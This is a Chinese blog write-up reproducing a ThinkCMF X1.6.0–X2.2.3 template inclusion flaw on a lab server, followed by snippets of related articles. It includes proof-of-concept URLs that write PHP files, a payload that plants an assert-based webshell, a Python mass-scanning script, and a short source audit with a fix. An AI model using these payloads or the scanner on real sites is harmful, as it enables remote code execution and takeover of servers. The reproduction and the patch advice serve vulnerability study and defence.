ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)

1.漏洞概述

攻击者可利用此漏洞构造恶意的url,向服务器写入任意内容的文件,达到远程代码执行的目的

2.影响版本

ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1(我用的是这个)
ThinkCMF X2.2.2
ThinkCMF X2.2.3

3.安装

赋予权限

4.安装系统

安装成功进入主页

  • Poc
/?a=display&templateFile=README.md

/?a=fetch&templateFile=public/index&prefix=‘‘&content=<?php file_put_contents(‘info.php‘,‘<?php phpinfo();?>‘);?>
  • 测试

Poc1:

http://192.168.2.135/thinkcmf-X2.2.1//?a=display&templateFile=README.md

POC2:

http://192.168.2.135/thinkcmf-X2.2.1/?a=fetch&templateFile=public/index&prefix=‘‘&content=<?php file_put_contents(‘info.php‘,‘<?php phpinfo();?>‘);?>

查看info.php

没有写入成功,干脆看看源代码吧

这里提出了错误信息意思是,没有写入权限

[2] file_put_contents(info.php): failed to open stream: Permission denied /var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal/‘‘2539f066e2972ad12f670857ed0f6b3d.php 第 1 行.

  1. 简单审计

在这个目录下面/var/www/html/thinkcmf-X2.2.1/data/runtime/Cache/Portal

生成了一个临时文件

打开查看

<?php if (!defined(‘THINK_PATH‘)) exit(); file_put_contents(‘info.php‘,‘<?php phpinfo();?>‘);?>

后面检查了一下发现是权限分发的问题

切换到cms目录下赋予所有文件可读可写可执行权限

chmod –R 777 *

重新执行POC2

可以看到已经写入成功,这里执行了phpinfo

  • 提权操作

Payload:

/?a=fetch&templateFile=public/index&prefix=‘‘&content=<?php file_put_contents(‘shell.php‘,‘<?php $a="assert";$a($_POST[123]);?>‘);?>

前面既然可以写入phpinfo,自然也可以写入恶意代码

没有显示错误,代表写入成功,访问一下,并连接一下试试

手动连接

列出文件(assert好像手工不太好使,emmmm)

还是上菜刀

  • 源代码审计

通过index.php可以发现,项目入口是application/,切换目录过去

根据poc盲猜控制器IndexController.class.php

空荡荡的,就一个index方法,这里继承的是父类HomebaseController,切出去看看作为程序入口,使用public是比较危险的,public是公有方法任何人都可以调用,并且这里是可以操控的,因此这里可能就是一个漏洞点(修补的话,把public改为protected)

路径找到了,/application/Common/Controller/

直接搜索fecth 获取输出页面内容

调用内置的模板引擎fetch方法,

@access protected

@param string $templateFile 指定要调用的模板文件

默认为空 由系统自动定位模板文件

@param string $content 模板输出内容

@param string $prefix 模板缓存前缀*

@return string

值得关注的是125行这里

125          */

126         public function fetch($templateFile=‘‘,$content=‘‘,$prefix=‘‘){

127             $templateFile = empty($content)?$this->parseTemplate($templateFile):‘‘;

128                 return parent::fetch($templateFile,$content,$prefix);

129         }

这里fetch函数的三个参数分别对应模板文件,输出内容,模板缓存前缀,而fetch函数的作用是获取页面内容,调用内置模板引擎fetch方法,thinkphp的模版引擎使用的是smarty,在smarty中当key和value可控时便可以形成模板注入。

分析不下去(分析失败。。。。)

  • 修复方案

将 HomebaseController.class.php 和 AdminbaseController.class.php 类中 display 和 fetch 函数的修饰符改为 protected

自动化检测漏洞脚本

#-*- coding:utf-8 -*-
import urllib2
import re
‘‘‘
ThinkCMF框架任意内容包含漏洞
ThinkCMF X1.6.0
ThinkCMF X2.1.0
ThinkCMF X2.2.0
ThinkCMF X2.2.1
ThinkCMF X2.2.2
ThinkCMF X2.2.3
Poc:
/?a=display&templateFile=README.md
/?a=fetch&templateFile=public/index&prefix=‘‘&content=<?php file_put_contents(‘info.php‘,‘<?php phpinfo();?>‘);?>
Author:Mke2fs
备注:检测脚本可能会误报,自行优化,优化完了记得滴滴一下我还有记得表明出处
‘‘‘
path=‘url地址列表,用绝对路径‘
#thincmf_payload=[‘/public/index‘,‘/Public/index‘]
payload=[‘?a=display&templateFile=README.md‘]
su=[]
def test_is_thinkcmf():
    with open(path) as f:
        contents=f.read() #读取域名
        #print contents.replace(‘\r‘,‘‘).split(‘\n‘)
        urllist=contents.replace(‘\r‘,‘‘).split(‘\n‘)#去除分割符,形成一个url列表
    for uri in urllist:
        try:
             print uri
             for x in payload:
                   res=urllib2.Request(uri+x)#urlopen(uri+x,timeout=2)
                   result=urllib2.urlopen(res,timeout=2)#超时两秒
                   html=result.read() #获取网页内容
                   #print html
                   aa = re.search(‘ThinkCMF‘,html)
                   #print aa
                   if aa !=None :
                       print "\033[31m[*] Vulnerabled!" + "URL:" + uri, aa.group()  # 设置前景色为红色
                       su.append(uri)
                   else:
                       print ‘\033[32m[*] Not Vuln‘  # 设置前景色为绿色
        except Exception as e:
            print ‘\033[32m[*] 未知错误或异常!‘,e
    print su
    with open(‘包含漏洞url的保存地址‘,‘a+‘) as ff:
        for i in su:
           ff.write(i+‘\n‘)
test_is_thinkcmf()

参考文章:

https://xz.aliyun.com/t/6626#toc-5

https://blog.riskivy.com/thinkcmf-%E6%A1%86%E6%9E%B6%E4%B8%8A%E7%9A%84%E4%BB%BB%E6%84%8F%E5%86%85%E5%AE%B9%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/?from=timeline&isappinstalled=0

原文地址:https://www.cnblogs.com/mke2fs/p/11744032.html

时间: 2024-10-13 20:37:32

ThinkCMF_X1.6.0-X2.2.3框架任意内容包含漏洞的简单分析复现(附自动化验证脚本)的相关文章

ThinkCMF框架任意内容包含漏洞分析复现(写入shell+文件包哈)

ThinkCMF框架任意内容包含漏洞分析复现 0x00 简介 ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展.每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作.在这种运行机制下,开发商场应用的用户无需关心开发SNS应用时如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本. 0x

ThinkCMF框架任意内容包含

更多内容,欢迎关注微信公众号:信Yang安全,期待与您相遇. ThinkCMF是一款基于PHP+MYSQL开发的中文内容管理框架,底层采用ThinkPHP3.2.3构建.ThinkCMF提出灵活的应用机制,框架自身提供基础的管理功能,而开发者可以根据自身的需求以应用的形式进行扩展.每个应用都能独立的完成自己的任务,也可通过系统调用其他应用进行协同工作.在这种运行机制下,开发商场应用的用户无需关心开发SNS应用如何工作的,但他们之间又可通过系统本身进行协调,大大的降低了开发成本和沟通成本.影响版本

phpmyadmin任意文件包含漏洞分析(含演示)

0x01 漏洞描述 phpmyadmin是一款应用非常广泛的mysql数据库管理软件,基于PHP开发. 最新的CVE-2014-8959公告中,提到该程序多个版本存在任意文件包含漏洞,影响版本如下: phpMyAdmin 4.0.1 – 4.0.10.6 4.1.1 – 4.1.14.7 4.2.1 – 4.2.12 0x02 补丁分析 看到bobao.360.cn上提到了这个漏洞,于是我写个小分析吧,给渗透正没思路的人一个思路,也给学习代码审计的朋友一点资料. 前几天phpmyadmin出了个

iOS各框架功能简述以及系统层次结构简单分析

iOS各个框架所对应的功能简单介绍 iOS系统结构层次: 注明:以上图片截取自网络教学资料刘凡的PPT ,若有侵犯之处,请联系删除

[WEB安全]phpMyadmin后台任意文件包含漏洞分析(CVE-2018-12613)

0x00 简介 影响版本:4.8.0--4.8.1 本次实验采用版本:4.8.1 0x01 效果展示 payload: http://your-ip:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd 0x02 漏洞分析 漏洞产生点位于:index.php文件54-67行 可以看到如果要包含文件成功,必需条件有5个: 1.不为空 2.字符串 3.不以index开头 4.不在$target_blackli

挖洞经验之某次任意用户登录漏洞挖掘

今天测试时发现一个任意用户登录漏洞,简单记录一下(em...写得真的很简单的那种!) 登录成功后的一个请求,里面包含了当前登录用户的用户名和user_id: 后面紧接着一个包含敏感信息的数据包,如下: 可以看到返回信息中包含了当前用户的密码MD5,且可以正常解密.更换为其他的user_id: 可以看到,返回了其他user_id的密码,但是,正常情况下,只有在成功登录一个用户后才能获取用户的user_id,所以要想登录他人账户,必须要知道user_id值对应的用户名.....,既然系统会有一个返回

【课程分享】jQuery2.0应用开发:SSH框架整合jQuery2.0实战OA办公自动化(VSS、operamasks-UI框架)

我的qq是2059055336,对这个课程有兴趣的可以加我qq联系. 课程下载地址:链接:http://pan.baidu.com/share/link?shareid=395438909&uk=3611155194 密码:mlvl 课程下载地址:http://www.kuaipan.cn/file/id_192202874577496484.htm?source=1 一.本课程是怎么样的一门课程(全面介绍)    1.1.课程的背景 jQuery 2.0 正式版发布,不在支持 IE 6/7/8

jQuery2.0应用开发:SSH框架整合jQuery2.0实战OA办公自动化(VSS、operamasks-UI框架)

我的qq是2059055336,对这个课程有兴趣的可以加我qq联系. 一.本课程是怎么样的一门课程(全面介绍)    1.1.课程的背景 jQuery 2.0 正式版发布,不在支持 IE 6/7/8 浏览器.因此该版本更小.更快.       为了提高现代社会人们的办公效率,满足人们自动化办公的需要,我们开发了这套稳定可靠.操作方便.安全有效的MyOffice系统     1.2.课程内容简介       本课程全面详细的介绍jQuery2.0以及OA办公自动化系统的开发流程.其中重点详细的介绍

【从入门到精通MVC】从0开始,搭框架、做项目(一)

声明:本系列为原创,分享本人现用框架,未经本人同意,禁止转载!http://yuangang.cnblogs.com 索引 这是第一篇目录 简述 从今天开始,我们从0开始搭建一个框架,并且完成一个任务管理系统的项目.这并不是什么大项目,只是对于不熟悉MVC以及不熟悉面向接口开发和依赖注入的朋友们有所启发,因为是从0开始,所以有些地方比较啰嗦,希望大家理解! 希望新手朋友们抛弃“拿来主义”,动手跟着一步一步的做,当做完这个框架和项目,一定会让新手朋友们的水平有很大提升! 同时,希望大家多多推荐,让